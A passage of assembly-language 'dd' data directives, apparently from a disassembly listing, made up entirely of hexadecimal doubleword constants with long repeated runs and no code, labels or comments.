		dd 1B72A837h, 0EE669FF9h, 256E7922h, 0E502AB89h, 7C1559FEh
		dd 842FE45h, 55DF60FDh,	0E827619h, 1306D83Ah, 14F1844h
		dd 8D4777B5h, 0B48277CDh, 429E4F81h, 0FBEF3F64h, 0E469ADA9h
		dd 75BB7B64h, 0CFC4A0DBh, 6DF1BF64h, 0B7B2179Dh, 0A33F38F3h
		dd 38CB2F2Ch, 0CACB1F90h, 2F0C94DEh, 3837A2D8h,	25C7FF7Eh
		dd 306C16CEh, 8683FD1Fh, 1692C3ADh, 1E85CDE4h, 0A187AD96h
		dd 0DEB1A42Bh, 0CC1332E1h, 86FBFA3Bh, 1F29DD29h, 9E1EE1C6h
		dd 396A476h, 0B3EFF2CAh, 540F1E3Ch, 150D2A00h, 0D46C59C3h
		dd 0C571B5D2h, 20CBA90Ah, 5EDC42A7h, 0E18AEDD2h, 58136693h
		dd 8C22433Ch, 7FB319CEh, 7C2AE71Bh, 2BBD905Fh, 0B2880711h
		dd 0EABDAD91h, 5817814Ch, 669935EEh, 0C68DB6Ah,	55277BE1h
		dd 25FD1A26h, 0AC3FBF1Dh, 24147FBEh, 0BE8AD907h, 0B73A9322h
		dd 8EFDF936h, 0DE920352h, 65F16F0Eh, 0CCA0DF05h, 0DAA21D96h
		dd 709FA0A0h, 0CB71A7BAh, 4D6AF9h, 605F1842h, 27FF4202h
		dd 0EFCEC7B5h, 0A36355F5h, 0B1AD9FF9h, 6412A88Eh, 0F39C5B69h
		dd 0CE36E8E5h, 7D405389h, 0B603B8AAh, 1C1B44A4h, 0D5ECD81Eh
		dd 0F956DB6Eh, 471030h,	1E260936h, 8A45BE6Eh, 7F0ABD5h
		dd 0AAC8A502h, 354C1891h, 95570F44h, 0EEFF0F2Bh, 0C906F9C5h
		dd 0A31675D2h, 73D8FB39h, 0B004D10Eh, 172ED8FBh, 3912879h
		dd 0DAD7AB27h, 0ABA7E94Ch, 200926FAh, 0DC9506EFh, 0F205CF3Fh
		dd 486DA344h, 0D6333EF9h, 1066B239h, 8A4AEDCFh,	0DC17B2Fh
		dd 0FD4DCA23h, 60DFA200h, 0BB4ED2C6h, 8DBDEC31h, 52181F95h
		dd 0CEBF19DCh, 0DB66E9B0h, 0A3E6C63Fh, 0C31A7FB2h, 87006877h
		dd 5533FC3Eh, 0CEEACF56h, 4564FC1Eh, 0F8FA1A0Dh, 0C5A54918h
		dd 8481DCD0h, 0CE1677B6h, 4050A60Ah, 18CB566Ch,	4580AFF7h
		dd 48BEF57Eh, 7F0B48F6h, 38FF84BBh, 0F356C76Ah,	0F3671F67h
		dd 60C55C15h, 0EFB1D0ABh, 0E0184264h, 0FB31C508h, 804C37F2h
		dd 0A66AB25h, 102CCD2Ah, 95D4C06Dh, 0B86E5CBEh,	1C5F3C6Eh
		dd 0D9DF84B8h, 0E09AF912h, 10B2416Eh, 0F146653Dh, 7729F06Ah
		dd 0F78832B8h, 0BFE9DC5Ch, 0FE0F929Ch, 393D3282h, 6B60845Ch
		dd 8530C5C9h, 76938BFCh, 500DBBFCh, 42CF83C8h, 6E4FE226h
		dd 4C5527FCh, 0FEE50ACDh
		dd 0B9BC44FDh, 18E52530h, 0CDE2816Fh, 670269DDh, 81497BDAh
		dd 419DD926h, 0FD531F8h, 8039F0D1h, 96B3D157h, 2635604Eh
		dd 4BBEF57Bh, 715CD5h, 0E0C41816h, 9168983Ah, 62A484B7h
		dd 0C90270F3h, 0F0ACF620h, 0DEE7B789h, 3BFF59C7h, 35F28FEh
		dd 7267904Bh, 0DE84A564h, 63D4630h, 8BCD012Dh, 3946B7BCh
		dd 9A49083Ah, 42578ADBh, 2409F9B1h, 0FC768001h,	26C9F019h
		dd 0A1E84884h, 0A98D2A81h, 0ECBCE43Ch, 0A4F8B478h, 0EE320C82h
		dd 0F7507EFFh, 1942B7A6h, 0D4B8088Dh, 2F4D5832h, 550853B6h
		dd 0E1D2E375h, 3EA1337Dh, 0AD7E78F8h, 278ABA72h, 0E0356C10h
		dd 0D2280CF1h, 0C6C67664h, 0E15B5D8h, 15467856h, 47DBDB4h
		dd 0DC9F030Dh, 0BC5FE8B1h, 63761FAAh, 18034B03h, 4CE70548h
		dd 68C6538Fh, 0E591782Bh, 25725EDBh, 0F17BB68Eh, 0D9AB1B0Bh
		dd 0EF33EE71h, 5BFB7F5Fh, 3E811F68h, 0A7DEB583h, 194C6588h
		dd 1670E5BFh, 1FABF7FAh, 90F0A6BCh, 23B3DF04h, 0A8C3C3B4h
		dd 97A6D382h, 726DCAD4h, 0D11C95A3h, 0A38C9A95h, 8F045EABh
		dd 2C1F0F16h, 4164EAB8h, 34018F11h, 51756266h, 28D24B5h
		dd 0CA1C15CCh, 0F8FDB79Ch, 6C223B9Bh, 0B53EE207h, 53EB128Bh
		dd 2D933F66h, 0BF764373h, 0CCDE3A1Ch, 373900B7h, 76130597h
		dd 1BAEABCEh, 0FE2C2C5Eh, 0BBEF6667h, 0D20246A5h, 142B44ACh
		dd 81173EC8h, 7FC2A951h, 2EE0862Eh, 0D874050Bh,	0DEC83B92h
		dd 0BA208445h, 0F5F4948Fh, 915FA8FDh, 5FAA3E9Dh, 910BA77Bh
		dd 0EA244F2Eh, 8FCA3E38h, 9EBC71D2h, 0ABF617DEh, 0AF4C99D9h
		dd 41C92579h, 70EC646Bh, 25EFBD60h, 8AA27082h, 279BE969h
		dd 3B704551h, 0FBCB4A4Bh, 252A966Fh, 3FDFBFD6h,	0C0969DB2h
		dd 0D48CDC79h, 6F26ABB7h, 16C029Ah, 0BC8AA763h,	150D7A36h
		dd 0C4EAC0Fh, 0CD015F06h, 67CD064Bh, 0C0ED2E0Bh, 2041161Ch
		dd 0C40A37C7h, 79B160D2h, 0CE95F7EDh, 0FCBDD29Ah, 0AE09BCBh
		dd 3B6B80C1h, 5825D3A1h, 31BF8D50h, 0ADFB8435h,	0D2472658h
		dd 5CE9EC1Dh, 6A10226Ah, 0CE4D81B3h, 0EB60F0C2h, 0C25B62FFh
		dd 8E23728Ah, 6C223B9Bh, 0B53EE207h, 5F56A16Ch,	0C573C262h
		dd 2D6457C5h, 0AA3B69E5h, 7E8F9F74h, 60AE57Fh, 0CEB35C9Dh
		dd 52BF1A35h, 0CDAD6F56h, 89A7FBB2h, 0E6EEEC8h,	2C58CEEh
		dd 1770484Bh, 0CA9C7F9Eh, 7E93D12Ah, 0A36A145Eh, 0D55BF244h
		dd 8BB94EDAh, 0A56C6C76h, 0BF10DA48h, 1BC02CCEh, 45CABF1Ch
		dd 34ED5769h, 4EAD917Ah, 7EAAE4B2h, 1C7EE7A5h, 0F24794C3h
		dd 0A23D187Eh, 0CED6D8E4h, 6F584727h, 27C85E67h, 110BC439h
		dd 437DA091h, 0A40A80D6h, 853A61F6h, 0B8498A84h, 7131E982h
		dd 0F389C4E2h, 2EF11CC3h, 1F9E1D5Ch, 44D14E5Bh,	863AA0CBh
		dd 5D1BA5ACh, 3997362Ch, 0B4FF1627h, 97B49B0Dh,	1F1DD8BDh
		dd 0B3ACEDB3h, 6F2C7843h, 8B11297Ah, 0D16BB0B6h, 0D3FF3D48h
		dd 0BF31B3h, 0B927C300h, 0E5D0B697h, 21FD2475h,	9103AA10h
		dd 49314BF0h, 5193FE8Fh, 0BC540EB6h, 3A36C2CFh,	0C6855734h
		dd 6032DF02h, 7AE466Dh,	0A481F2D9h, 344BD5FCh, 8E148786h
		dd 4F64D8B8h, 8D42D8B4h, 7C403AD4h, 68B4B6B6h, 4162853Dh
		dd 0FF09DEB1h, 0C432DBD1h, 7AB75C21h, 0FE038535h, 0C9320229h
		dd 0B9F40C27h, 0F2FC4D9Dh, 1ED26572h, 0DF177748h, 2EB30988h
		dd 5657202Fh, 0E7EB7B83h, 0B02DE0D4h, 0A4283CD4h, 0AACEB96h
		dd 13CA24F8h, 8E3F91A1h, 0D1BDC2BCh, 0DAD191CFh, 352098F8h
		dd 0D20CA268h, 79F45169h, 0F50BCF66h, 31124114h, 68B4B6B6h
		dd 4162853Dh, 23850F3Fh, 648381AFh, 5A9EF1B6h, 9A97314Ch
		dd 9BB77956h, 0DA1D5C20h, 88421861h, 95D676BEh,	0BF31DE6Ch
		dd 6C596164h, 0EE12FEF5h, 96074EDFh, 0E4AD521Eh, 88F42396h
		dd 0C0A3611Ch, 0E6036AC7h, 6728EABAh, 0EC243BA6h, 0C4970908h
		dd 113E410Fh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh
		dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h
		dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh
		dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h
		dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh
		dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h
		dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh
		dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h
		dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh
		dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h
		dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh
		dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h
		dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh
		dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h
		dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh
		dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h
		dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh
		dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h
		dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh
		dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h
		dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh
		dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h
		dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh
		dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 5C5AB97Fh
		dd 0B29482AFh, 0A43543AAh, 0D9C75DF9h, 55642969h, 0FB175DEh
		dd 48940AAEh, 5738AB5h,	303D26E1h, 706C33Eh, 9B4A44F7h
		dd 0E25CD246h, 0AD3DF3EEh, 0F3C0F15h, 0A4F14B52h, 9B6E3FDh
		dd 56271D2Fh, 0B95A315Ah, 0FADFEC9Bh, 1EC7ACA4h, 88E054AFh
		dd 915B6E55h, 0DBA88D3Bh, 7C3123DCh, 8513AA74h,	0A34DA79Fh
		dd 0E511C940h, 3684C6BEh, 1B5DBC10h, 72C3B11Fh,	6DF36A3Bh
		dd 954D7C48h, 86133FFh,	0B8F2F4C9h, 0C03F3923h,	2B2F468h
		dd 0EBA84E1Eh, 0E244B63Fh, 6B6ECDEDh, 2464C8DCh, 43DBB2D5h
		dd 35E5234Bh, 59C57843h, 0C67CCF11h, 4061F3C7h,	454890D1h
		dd 1D5645E4h, 0D6BC6389h, 0DC72B5CCh, 0EE5D2C5Dh, 7A12C788h
		dd 0B7B4C1E2h, 4C2075C8h, 566799F0h, 6F4E1D93h,	9658BC7Dh
		dd 4592EE24h, 718FDDDAh, 0DBDCD285h, 0B5B954ECh, 507D3817h
		dd 6DD3BFB3h, 17E3956Fh, 0F3DCF587h, 24CA348Ah,	0FB132055h
		dd 4BDAC6C7h, 67C80E8Ch, 35694631h, 45478625h, 0AB0F0322h
		dd 0E58AB0D6h, 1790DA6Fh, 3ABB44A2h, 39F5886h, 40FDE1C7h
		dd 0D20A46A2h, 744B7892h, 0DAD29296h, 9D7271EEh, 0FCAB47EEh
		dd 6739CFCAh, 0CD510F9Bh, 64D3AB51h, 0D7CCE825h, 0B8AF5C4Dh
		dd 6DF94FE3h, 202AAB99h, 0DAD29296h, 9D7271EEh,	0DAD29296h
		dd 9D7271EEh, 5C5AB97Fh, 0B29482AFh, 0A43543AAh, 0D9C75DF9h
		dd 55642969h, 0FB175DEh, 48940AAEh, 5738AB5h, 303D26E1h
		dd 706C33Eh, 9B4A44F7h,	0E25CD246h, 0AD3DF3EEh,	0F3C0F15h
		dd 0A4F14B52h, 9B6E3FDh, 56271D2Fh, 0B95A315Ah,	0FADFEC9Bh
		dd 1EC7ACA4h, 88E054AFh, 915B6E55h, 0DBA88D3Bh,	7C3123DCh
		dd 8513AA74h, 0A34DA79Fh, 0E511C940h, 3684C6BEh, 1B5DBC10h
		dd 72C3B11Fh, 6DF36A3Bh, 954D7C48h, 86133FFh, 0B8F2F4C9h
		dd 0C03F3923h, 2B2F468h
		dd 0D762967Fh, 8A3AE95h, 0D4A28831h, 0B937706h,	0F9FDE4A7h
		dd 823626FBh, 0DE43219Eh, 687EF22Ah, 3B8DE3DEh,	2E271DFCh
		dd 5D7D6697h, 44C9DCCAh, 0D35FA090h, 95D20D21h,	0FD4985E9h
		dd 3047D62Bh, 91C948A3h, 0ADC868Eh, 2EB1E068h, 294AD228h
		dd 3F487251h, 0AF7798Fh, 7A54316h, 57E589A1h, 0A9DE8EDAh
		dd 0A6D9053Dh, 45B43235h, 9478C26Bh, 7577876Eh,	8865C36Bh
		dd 0CBA12F51h, 338FF4ADh, 14F051FFh, 0D9E3AAEDh, 66D88B16h
		dd 5FF2AF97h, 0C3716045h, 70798C6Ch, 93C9A2D8h,	9C997984h
		dd 87F4DFEBh, 864A52FBh, 39E806C7h, 9ECDB32Fh, 44A7E2F0h
		dd 0CAFBE230h, 6657CD69h, 7B3EE73Dh, 200C2629h,	0FA740352h
		dd 0D0860464h, 70855F93h, 0BF15914Ah, 0FDA9269Ch, 0C22A258Ch
		dd 57BBAEB1h, 0DDB5749Bh, 0D123907Ah, 0EDF5123Bh, 0E4126BF3h
		dd 0C43D84BAh, 130F1D2Bh, 45376BB7h, 0F80CDD51h, 0FB3AE0B8h
		dd 68B466Dh, 3ABAC873h,	70EE08CAh, 66D00300h, 0DF5DBD3Eh
		dd 0CABDD542h, 24B22DD6h, 73B0E4F5h, 902110A6h,	91027FF1h
		dd 2EE0BECh, 0A800EADBh, 2D14B76Fh, 942C5DAEh, 98477E8Dh
		dd 6F701E5Bh, 13CA8A99h, 0E9ADC5AAh, 2AEB46CAh,	33DAFF74h
		dd 970B68F4h, 0B51E201Fh, 0CBFC0E31h, 0E11FCBA2h, 5329EB64h
		dd 0F21784D6h, 0A7422B4Ah, 0B8EAB404h, 0D41F5E88h, 6D8B2EC8h
		dd 457D5125h, 43CAD358h, 0B24A3F9h, 0F2E147C9h,	0BD346D67h
		dd 6CA8A7AAh, 0C210C44h, 0AF773548h, 11EC21B2h,	4E6C3E6Bh
		dd 75356106h, 3559E59Ch, 0B1E70F6Dh, 0A6743A3Fh, 8ADC06CDh
		dd 9FE14463h, 7DD13721h, 5FD80196h, 67439D50h, 401E92Bh
		dd 281C6AFh, 4AE085E5h,	3C6A4834h, 250B3202h, 0AE917593h
		dd 0E70E2689h, 3A9440Fh, 0AE7D3AF5h, 15E09B27h,	0AF773548h
		dd 11EC21B2h, 0DE313C57h, 0B9B9678h, 9C742088h,	0BFF4EC55h
		dd 0A1485FA9h, 4D58E91h, 0FCC08E3h, 1E01CEB6h, 0DAD29296h
		dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh
		dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h
		dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh
		dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h
		dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh
		dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h
		dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh
		dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h
		dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh
		dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h
		dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh
		dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h
		dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh
		dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h
		dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh
		dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h
		dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh
		dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h
		dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh
		dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h
		dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh
		dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h
		dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh
		dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h
		dd 9D7271EEh, 9BAEB7EFh, 18E27F32h, 168049D3h, 4A600869h
		dd 0C19D0470h, 0C8993CEEh, 0C569234Fh, 1CCF9092h, 3EC4A978h
		dd 0C7475E16h, 924A3878h, 0D5F8BC93h, 0E2C35D90h, 0DD3ABB47h
		dd 63C6F1B2h, 4B51E58Dh, 7271B11Ah, 92FA0B1Bh, 0CFFC5032h
		dd 0E686BEB0h, 99CC7341h, 96A01DB1h, 9B9BB438h,	0B300E515h
		dd 0F107EE7Eh, 4DA0AC53h, 0DFAF6FB5h, 23F99E44h, 80EC4AEh
		dd 0B9394AA5h, 2D8ED99Ah, 0E4A0894Ah, 0A4F68666h, 0C8B844ECh
		dd 0F2762CFAh, 27B6E0BAh, 2499779h, 35C9BA0Dh, 0BC48BD28h
		dd 1C151332h, 0E3CDE38Ch, 0CF17E0A3h, 8F843519h, 0D592AC87h
		dd 760C8EC1h, 0BA2B99C6h, 0EEACBCC6h, 0B61DCFFBh, 0F4C8FB1Dh
		dd 0C741E47Dh, 12806B1Eh, 0D968F2ABh, 51C9A68h,	55CAA0ECh
		dd 0F4C8FB1Dh, 0C741E47Dh, 0D142217h, 3D6D796Bh, 0FFDBAC99h
		dd 630F7D5Eh, 0E2F10DC6h, 680506A4h, 172A5BF3h,	54E1A787h
		dd 9BE48E85h, 8529559Ch, 4E88EE80h, 5A629BC6h, 45607C0h
		dd 47702499h, 773BF82Eh, 77B18832h, 0B608BF7Ch,	8660C32Fh
		dd 2499779h, 35C9BA0Dh,	0A78E7DB4h, 0CAEC85EBh,	0E95E1756h
		dd 0CC411EE8h, 0F0D169B5h, 0E5708FA9h, 0CE2D1D3Eh, 0BCA71B52h
		dd 0A0330463h, 85FB410h, 97F12B87h, 22FB59A1h, 281F55CFh
		dd 96BE60FBh, 0B1657B08h, 3896516h, 64A27F80h, 0B95362F3h
		dd 98C65995h, 892182C5h, 2010EDF1h, 80672031h, 6EBFA6A1h
		dd 24EFEB98h, 0ECA6ED37h, 24D16341h, 87B2618h, 9197D7CDh
		dd 9309DCh, 72085C09h, 376E6723h, 2E32D1Ch, 0F8A6D40Bh
		dd 6B4B5068h, 0F1D6AF54h, 20C1B0CCh, 7A37161Eh,	41568AE9h
		dd 5B285DB2h, 426D4B50h, 45347D5Eh, 57C2ABEEh, 4C117B59h
		dd 21334E35h, 0A828F246h, 40E228F4h, 859D2CEEh,	0D82902B9h
		dd 0CBE9E4Dh, 0B95C1B45h, 0B905F6A1h, 0FF8E274h, 0D07EA151h
		dd 4972A9BCh, 0CE0D9935h, 65C74B8Ch, 6F3A69A7h,	60773ADh
		dd 26499915h, 2A44714h,	233544D4h, 0D3610641h, 65E3E22Bh
		dd 461046D1h, 29C98E0Eh, 0D6C6C3BDh, 4396004h, 8EFC19D3h
		dd 558E42D8h, 2193AAFCh, 4D029940h, 24590BA0h, 0AF34FB45h
		dd 8E07B0F7h, 66D8CB28h, 21E12BFBh, 732FF153h, 90162E2Ah
		dd 98786E98h, 55282A1Dh, 0F196A220h, 5E8DA2C2h,	3D5B0B24h
		dd 4F3C8532h, 38807BE2h, 3063E4B0h, 0E8BF6E23h,	0D785DAD4h
		dd 54665104h, 183AD2E3h, 411C3A0Ah, 1B550F2Ah, 55637A91h
		dd 0D3BA7424h, 7CD30D20h, 0A15295D5h, 8A945BC5h, 10FC5C06h
		dd 699D3642h, 0B40F9897h, 0F983AFE9h, 7EFE2170h, 55B73474h
		dd 69D28008h, 71DE752Dh, 5AAA31FDh, 276A6DFAh, 2D71BA2Ah
		dd 749461B3h, 506588D2h, 0D3AAE7CCh, 85F93BC3h,	6BE30272h
		dd 500F7BECh, 0E67B83A7h, 9C9E5D9Ah, 7B1AE9C2h,	896F0B7Ch
		dd 0BD43741h, 62B0A6A9h, 0CD7AD8B2h, 0CC9764CBh, 0EC11DBD4h
		dd 959A784Ch, 69C54483h, 0A0F56756h, 33F5E649h,	3D301681h
		dd 0C0F33036h, 0E82ECD45h, 58C35F67h, 0D6B4D13Fh, 9F6946FFh
		dd 21E78C5Eh, 171167BBh, 3424E968h, 5B8AD58Ah, 76122FE4h
		dd 8FDEB439h, 9892398Bh, 0F4E33F99h, 0C75EB7F6h, 0C67715F0h
		dd 89641CB3h, 0F6508282h, 63D20CF5h, 2D9CADEEh,	91FE5E96h
		dd 0D47479ADh, 0F5896869h, 1FEBCECh, 52C69F95h,	0E9B88837h
		dd 33D53DB7h, 0BFDB3CA8h, 60499535h, 0CEC88BAAh, 5692092h
		dd 5A3438F5h, 493C993Bh, 0EE4880CBh, 0B8327091h, 0E97E19B4h
		dd 98F14758h, 0CDAE39B8h, 98D37C54h, 0F69AC3FAh, 0CB66DBCEh
		dd 4904701Ah, 7B75D131h, 1F95113Fh, 0E48AD143h,	0FD3C5BD6h
		dd 0F04B7DE4h, 91589C76h, 0F7B46C8Ah, 39B5ED3Eh, 0FF9F706Fh
		dd 148D50E9h, 0B60D1DFAh
		dd 1BFF9A40h, 93E2FA5Ah, 10A5305h, 2D871E30h, 78B4157Fh
		dd 7AFC18EDh, 0D3801B6Fh, 0C9A03FF1h, 1B69AC19h, 5D216AB3h
		dd 0E1E256F8h, 0D5EA92Ah, 0D7AA0E1Bh, 15753E5Dh, 4213CF67h
		dd 264F7124h, 0BF3FC63Bh, 0E80E229Dh, 388D8ADCh, 6C309C47h
		dd 6A0C3E8Eh, 4456BCCCh, 197C0630h, 0BBBF5107h,	1F0B601Fh
		dd 0CBB99025h, 0BF6FABB4h, 635BBC94h, 0F6508282h, 63D20CF5h
		dd 0D60526FFh, 0F99420B2h, 2826FE5Eh, 8576560Bh, 0F89DE8AFh
		dd 6FCF6159h, 38807BE2h, 3063E4B0h, 0FE8F4FF6h,	498ECD92h
		dd 0DB94698Eh, 26E0EBDAh, 75902393h, 0CCB0DA93h, 0C22D787Ah
		dd 0FC939804h, 699D3642h, 0B40F9897h, 0EB81D889h, 651D7C72h
		dd 82491F6Ah, 0E56B394Ch, 657A8D9Fh, 23514FAEh,	19D9C1A3h
		dd 218D332Eh, 87295538h, 0FFA68312h, 24211Ch, 0DCE9DF4Eh
		dd 0EF6B8ED5h, 0D74B6046h, 0FAC5AAA4h, 0A2E32F2h, 10431FFDh
		dd 0E41DFAE6h, 10A5305h, 2D871E30h, 6A035340h, 55B9AD99h
		dd 0D3801B6Fh, 0C9A03FF1h, 97B836D7h, 0DAB0676Eh, 0E1E256F8h
		dd 0D5EA92Ah, 0D7AA0E1Bh, 15753E5Dh, 4213CF67h,	264F7124h
		dd 0BF3FC63Bh, 0E80E229Dh, 388D8ADCh, 6C309C47h, 6A0C3E8Eh
		dd 4456BCCCh, 197C0630h, 0BBBF5107h, 1F0B601Fh,	0CBB99025h
		dd 0BF6FABB4h, 635BBC94h, 0F6508282h, 63D20CF5h, 2D9CADEEh
		dd 91FE5E96h, 3F32705Ch, 7696F17Ah, 3D5B0B24h, 4F3C8532h
		dd 38807BE2h, 3063E4B0h, 7EA53E3Ch, 0B56C02ADh,	8DA09857h
		dd 335BD7DBh, 7CD30D20h, 0A15295D5h, 8A945BC5h,	10FC5C06h
		dd 699D3642h, 0B40F9897h, 0C7E5FADAh, 60ECD124h, 0F13798C8h
		dd 6A5BBEEBh, 3FC1557Fh, 0F811B513h, 0DB83AAFEh, 0EE9F50DFh
		dd 87295538h, 0FFA68312h, 45F58D96h, 0F4F5FB3Eh, 42C45CA7h
		dd 8FD0B2A8h, 7DBA24E0h, 18E71A33h, 0A6F8FED8h,	820B3D0Bh
		dd 10A5305h, 2D871E30h,	78B4157Fh, 7AFC18EDh, 0D3801B6Fh
		dd 0C9A03FF1h, 97B836D7h, 0DAB0676Eh, 0E1E256F8h, 0D5EA92Ah
		dd 0D7AA0E1Bh, 15753E5Dh, 4213CF67h, 264F7124h,	0BF3FC63Bh
		dd 0E80E229Dh, 388D8ADCh, 6C309C47h, 6A0C3E8Eh,	4456BCCCh
		dd 197C0630h, 0BBBF5107h, 1F0B601Fh, 0CBB99025h, 0BF6FABB4h
		dd 635BBC94h, 0F6508282h, 63D20CF5h, 2D9CADEEh,	91FE5E96h
		dd 3F32705Ch, 7696F17Ah, 9D537AFh, 0A540BB00h, 0AA4B9895h
		dd 0FD483753h, 0D27B7602h, 11354A8Ch, 0C5417184h, 0B1F277C6h
		dd 0FC75BF79h, 919FA174h, 0E8A5D8A6h, 7006972Fh, 9603BCDBh
		dd 78091726h, 69C09F26h, 248E35AAh, 0F59C0EB6h,	9F1E34ADh
		dd 0DDF9F688h, 0A1C2CB7h, 0BEED1994h, 0B01688F6h, 53AFF942h
		dd 6B33BBB3h, 0F6752D02h, 8A355DE2h, 8E8F1714h,	83201E1h
		dd 18A7AC9Ch, 9B4E4AD0h, 3965D936h, 425ADC73h, 216D5085h
		dd 51F43E81h, 363CBFBBh, 47170056h, 7CF0519Dh, 0CE1D4E7Fh
		dd 8A4410D4h, 0D7429340h, 4161A54Fh, 345E1A19h,	8EA5FC09h
		dd 9192350h, 70461998h,	0A13C631Bh, 37BA794Eh, 0D7874C82h
		dd 0C2D69D5Fh, 3C76D6F6h, 0AA6040B4h, 1EF8926Fh, 8B897097h
		dd 59B6E253h, 0C36D261h, 367E82A0h, 3BFCE79Ch, 452C7A49h
		dd 22C3B0CEh, 7122F189h, 0AA4559FFh, 6A4AE1B1h,	4811EA42h
		dd 10D6DCBAh, 9F81B6C0h, 0B53DB4BBh, 8B981433h,	92951379h
		dd 85E86E25h, 0E14288CBh, 4E7F79CEh, 0EF0FE41h,	1E3C58AEh
		dd 0E9EB868Dh, 0EA1E5E6Fh, 0FF073E87h, 9940B516h, 0CE50836Eh
		dd 3D5816B5h, 0BC9087E2h, 99DE3565h, 0ED6CE54h,	17ED8291h
		dd 0D6127EB2h, 97F20A03h, 90537612h, 0A79074ECh, 0D1ED0DB3h
		dd 2192ECB3h, 40058F81h, 0E5A41D85h, 86FE34A4h,	0D0736ADCh
		dd 0A84A8777h, 5BABE427h, 0FE5678A7h, 9D497F64h, 1E45D6F6h
		dd 8A5D0984h, 17A0CF74h, 988AEC9Eh, 0A6FE45FBh,	0CB0C7B19h
		dd 5EAD6B40h, 0FF663A13h, 389FE3B9h, 968F8806h,	422C38EAh
		dd 869EFD1Eh, 872F0D2Fh, 0AA80F3E9h, 0A2F438E4h, 3D45C54h
		dd 4E62B04h, 3B9D20B7h,	0E3918E15h, 7D704D09h, 7726FEAh
		dd 0E59697BAh, 7B10DE05h, 0FB9AA4DFh, 0A2A0595Fh, 381F47Ah
		dd 2CE7A644h, 2C203812h, 0ECD21EE9h, 0E0F9E46Ah, 0D3B4BD8Dh
		dd 0A9E1F955h, 533F91BEh, 0E6687F09h, 701AFF92h, 814A66Bh
		dd 874439FFh, 0A8513D9Dh, 41ACBFCAh, 19C1B170h,	5DD0AEBBh
		dd 6264AC51h, 1DC6ED12h, 7D7D5706h, 0B687C73Dh,	98FF14Eh
		dd 0F3E5FB4Ch, 0C94FE29Bh, 21EF9EB5h, 0EC1C31FCh, 0D7C352D2h
		dd 526BF5F9h, 94AB9FF9h, 9176D1B3h, 403DD5Fh, 0FA98D2B9h
		dd 0E224007Bh, 5122117Ch, 401BFD6Dh, 0C914A78Eh, 9FCC92A9h
		dd 2792DE3Ah, 0EDAAA153h, 0CCC03E1Bh, 0F892E02h, 5CB27DBEh
		dd 0F4C14272h, 0C4CF89A3h, 8A194762h, 7F604B17h, 85053287h
		dd 898ADDFCh, 782AA395h, 0D602C10Fh, 9C52AB2Fh,	0D214668Fh
		dd 893E36B4h, 80FB13FEh, 1837309Eh, 5BEBE279h, 223CC663h
